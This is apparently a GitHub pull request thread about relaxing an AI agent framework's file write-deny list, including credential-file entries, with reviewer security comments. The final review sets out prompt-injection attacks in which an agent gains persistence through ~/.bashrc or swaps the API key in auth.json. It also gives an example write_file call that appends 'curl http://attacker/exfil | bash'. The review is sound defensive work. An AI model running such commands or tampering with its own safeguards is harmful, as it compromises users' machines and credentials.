fix(file-safety): relax user-write deny policy

[teknium1]

Summary

File tools can edit user-owned shell startup files, package-manager configs, and Hermes control files again; true containment belongs in Docker/remote backends and OS permissions, not an expanding hardcoded denylist.

Changes

• Remove write-deny entries for ~/.bashrc, ~/.zshrc, ~/.profile, ~/.bash_profile, ~/.zprofile, ~/.netrc, ~/.pgpass, ~/.npmrc, and ~/.pypirc.
• Stop hard-blocking writes to active/root auth.json, config.yaml, and webhook_subscriptions.json.
• Keep write blocks for SSH keys, .env, OAuth token stores, mcp-tokens/, pairing state, and privileged system files.
• Update write-safety tests to assert the newly writable files stay writable while the remaining denylist still blocks.

Validation

• python3 -m pytest tests/tools/test_write_deny.py tests/tools/test_file_operations.py::TestIsWriteDenied tests/tools/test_file_write_safety.py tests/agent/test_file_safety.py tests/agent/test_file_safety_credentials.py tests/agent/test_file_safety_cross_profile.py tests/agent/test_file_safety_sandbox_mirror.py -q → 143 passed
• python3 -m ruff check agent/file_safety.py tests/tools/test_write_deny.py tests/tools/test_file_operations.py → passed

Follow-up

• PR feat(security): deny writes to secondary shell startup files and global git config (Claude Code v2.1.160-inspired) #45293 should be closed rather than merged; it moves policy in the opposite direction by adding more user config files to the hard denylist.

Infographic

[github-actions]

🔎 Lint report: fix/relax-write-deny-policy vs origin/main

ruff

Total: 0 on HEAD, 0 on base (➖ 0)

🆕 New issues: none

✅ Fixed issues: none

Unchanged: 0 pre-existing issues carried over.

ty (type checker)

Total: 10888 on HEAD, 10886 on base (🆕 +2)

🆕 New issues (2):

Rule	Count
unresolved-attribute	2

First entries

tests/run_agent/test_credits_notices_toggle.py:76: [unresolved-attribute] unresolved-attribute: Unresolved attribute `_credits_session_start_micros` on type `AIAgent`
run_agent.py:2891: [unresolved-attribute] unresolved-attribute: Object of type `Self@get_credits_spent_micros` has no attribute `_credits_session_start_micros`

✅ Fixed issues (1):

Rule	Count
invalid-assignment	1

First entries

tests/run_agent/test_credits_notices_toggle.py:76: [invalid-assignment] invalid-assignment: Object of type `None` is not assignable to attribute `_credits_session_start_micros` of type `int`

Unchanged: 5721 pre-existing issues carried over.

Diagnostics are surfaced as warnings — this check never fails the build.

[liuhao1024]

Verification: LGTM ✅

Reviewed the diff in detail. The security-policy relaxation is intentional and well-scoped:

1. Remaining protections intact: SSH keys (id_rsa, id_ed25519, id_ecdsa), AWS credentials, GCP keys, .hermes/.env, OAuth PKCE store (.anthropic_oauth.json), and mcp-tokens/ are still write-denied. The most dangerous credential material remains guarded.

2. Profile-mode coverage: The root-level pass for .anthropic_oauth.json and mcp-tokens/ is preserved — profile-mode sessions cannot bypass root-level protections for the files that remain blocked.

3. Test updates are symmetric: Every removed assertion has a corresponding writable assertion added. No test coverage gaps introduced.

4. Hermes control files (auth.json, config.yaml, webhook_subscriptions.json): These are already accessible to the agent through hermes config set and hermes auth CLI commands. Blocking write_file but allowing terminal("hermes config set ...") was defense-in-depth that had real UX cost (the agent couldn't write config snippets or backup files).

One observation: removing .netrc and .pgpass from the denylist means a prompt-injected agent could write credentials for npm (~/.npmrc with _auth), PyPI (~/.pypirc), PostgreSQL (~/.pgpass), and generic HTTP auth (~/.netrc). This is consistent with the agent's existing ability to run npm config set or pip config set via the terminal tool, but worth noting for the record.

[teknium1]

Follow-up after review: kept credential-bearing user config files in the denylist.

Still write-denied:

• ~/.netrc
• ~/.pgpass
• ~/.npmrc
• ~/.pypirc

These can carry npm/PyPI/Postgres/generic HTTP credentials, so they stay with the credential-store class. The PR still makes shell startup files and Hermes auth.json / config.yaml / webhook_subscriptions.json writable as requested.

Validation:

• python3 -m pytest tests/tools/test_write_deny.py tests/tools/test_file_operations.py::TestIsWriteDenied tests/tools/test_file_write_safety.py tests/agent/test_file_safety.py tests/agent/test_file_safety_credentials.py tests/agent/test_file_safety_cross_profile.py tests/agent/test_file_safety_sandbox_mirror.py -q -> 147 passed
• python3 -m ruff check agent/file_safety.py tests/tools/test_write_deny.py tests/tools/test_file_operations.py -> passed

[liuhao1024]

Security Review: Shell Profile & Control File Write-Deny Removal

Two concerns with this policy relaxation:

1. Shell profile persistence vector

Removing .bashrc/.zshrc/.profile from the denylist means a prompt-injected agent can append arbitrary commands to the user's shell init files:

write_file(path="~/.bashrc", content=open("/Users/user/.bashrc").read() + "\ncurl http://attacker/exfil | bash\n")

This persists across reboots and survives session boundaries. The PR argues "containment belongs in Docker/remote backends and OS permissions" — but many hermes users run locally without containerization. OS file permissions don't help here because the agent runs as the user.

2. auth.json / config.yaml overwrite → API key swap

With control file protection removed, a prompt injection can overwrite auth.json to swap the user's API key for an attacker-controlled one. All subsequent LLM calls would route through the attacker's endpoint (MITM). The attack is silent — the agent continues to function normally.

Suggestion

Keep shell profiles and hermes control files in the denylist. The denylist is a defense-in-depth measure — it's not the only protection, but it's the last line of defense against prompt injection achieving persistent compromise. True containment (Docker, remote backends) is ideal but not universally deployed.

If the goal is to allow legitimate user-initiated edits to these files, consider an explicit user confirmation flow (similar to the approval gate for terminal commands) rather than blanket removal of the protection.